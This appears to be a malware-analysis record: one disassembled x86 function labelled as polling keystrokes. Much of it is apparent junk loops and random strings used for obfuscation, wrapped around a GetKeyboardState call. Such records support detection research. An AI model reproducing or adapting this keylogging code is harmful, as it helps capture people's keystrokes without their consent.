Function at 0x100394ba
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10064126
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0xd8
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 0x20]
test eax, eax
je 0x10039775
mov eax, dword [ebp + 8]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0xb8], eax
lea eax, [ebp + 0x10]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x50], 0x1219
mov dword [ebp - 0x70], str.amdextn_gxdwc_rwoy_bcppeop_zwpihuoj_aeco_xnwi_lahv_ecjihobwb_ixsu_wljgm
cmp dword [ebp - 0x50], 0x1252
jle 0x100395fd
and dword [ebp - 0x24], 0
jmp 0x1003953d
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x7276
jge 0x100395fd
and dword [ebp - 0x1c], 0
jmp 0x10039557
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x4c04
jge 0x100395f8
and dword [ebp - 0x14], 0
jmp 0x10039571
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x33e8
jge 0x100395f3
and dword [ebp - 0x18], 0
jmp 0x10039587
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x1543
jge 0x100395ee
mov esi, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x1c]
sar esi, cl
mov eax, dword [ebp - 0x14]
cdq
idiv dword [ebp - 0x18]
and esi, edx
mov eax, esi
cdq
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], edx
push dword [ebp - 0xa0]
push dword [ebp - 0xa4]
lea ecx, [ebp - 0xd0]
call fcn.10001a65
pop ecx
pop ecx
mov dword [ebp - 0xa8], eax
mov ecx, dword [ebp - 0xa8]
call fcn.10004c2e
push eax
call fcn.1004a373
pop ecx
lea ecx, [ebp - 0xd0]
call fcn.10004c24
jmp 0x10039580
jmp 0x1003956a
jmp 0x10039550
jmp 0x10039536
mov eax, dword [ebp - 0x64]
movzx eax, byte [eax]
test eax, eax
je 0x1003972c
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
sub eax, dword [ecx]
je 0x10039682
mov eax, dword [ebp - 0x30]
cmp dword [eax], 0
je 0x10039682
mov dword [ebp - 0x44], 1
jmp 0x10039686
and dword [ebp - 0x44], 0
mov eax, dword [ebp - 0x38]
cmp dword [eax], 0xffffffff
je 0x10039697
mov dword [ebp - 0x54], 1
jmp 0x1003969b
and dword [ebp - 0x54], 0
cmp dword [ebp - 0x54], 1
jae 0x100396aa
mov dword [ebp - 0x3c], 1
jmp 0x100396ae
and dword [ebp - 0x3c], 0
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x3c]
jne 0x100396c7
mov eax, dword [ebp - 0x34]
cmp dword [eax], 0
jne 0x100396c7
mov dword [ebp - 0x4c], 1
jmp 0x100396cb
and dword [ebp - 0x4c], 0
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
cmp dword [ebp - 0x4c], eax
jne 0x100396de
mov dword [ebp - 0x40], 1
jmp 0x100396e2
and dword [ebp - 0x40], 0
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
imul eax, dword [ebp - 0x40]
cmp eax, 0xfffffff7
jl 0x100396f9
mov dword [ebp - 0x2c], 1
jmp 0x100396fd
and dword [ebp - 0x2c], 0
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x2c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
imul eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x38]
cmp eax, dword [ecx]
je 0x1003971e
mov dword [ebp - 0x48], 1
jmp 0x10039722
and dword [ebp - 0x48], 0
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x48]
mov dword [eax], ecx
jmp 0x10039734
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
and dword [ebp - 4], 0
cmp dword [ebp - 0x50], 0xf61
jge 0x1003974a
push dword [ebp - 0x70]
call fcn.1004a373
pop ecx
jmp 0x10039766
or dword [ebp - 4], 0xffffffff
jmp 0x10039770
jmp 0x1003987c
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x58], 0x41b9
mov dword [ebp - 0x80], str.vzd_gkn_sljcelbl_ungbdikxq_rrmsrzl_bkxih_qjkjbac_uqdhpymgo_vdmij_mgv_vuwatyzfo
cmp dword [ebp - 0x58], 0x448c
jle 0x10039818
and dword [ebp - 0x20], 0
jmp 0x100397ab
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x3cf1
jge 0x10039818
and dword [ebp - 0x28], 0
jmp 0x100397c1
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x6484
jge 0x10039816
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x28]
cdq
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], edx
push dword [ebp - 0xac]
push dword [ebp - 0xb0]
lea ecx, [ebp - 0xe8]
call fcn.10001a65
pop ecx
pop ecx
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp - 0x78]
call fcn.10004c2e
push eax
call fcn.1004a373
pop ecx
lea ecx, [ebp - 0xe8]
call fcn.10004c24
jmp 0x100397ba
jmp 0x100397a4
mov eax, dword [ebp + 0x2c]
mov dword [ebp - 0x88], eax
mov dword [ebp - 4], 2
cmp dword [ebp - 0x58], 0x4199
jge 0x1003983a
push dword [ebp - 0x80]
call fcn.1004a373
pop ecx
jmp 0x10039856
or dword [ebp - 4], 0xffffffff
jmp 0x10039860
push dword [ebp - 0x88]
push dword [ebp - 0x90]
push dword [ebp - 0x98]
push 1
call fcn.10038ad9
add esp, 0x10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret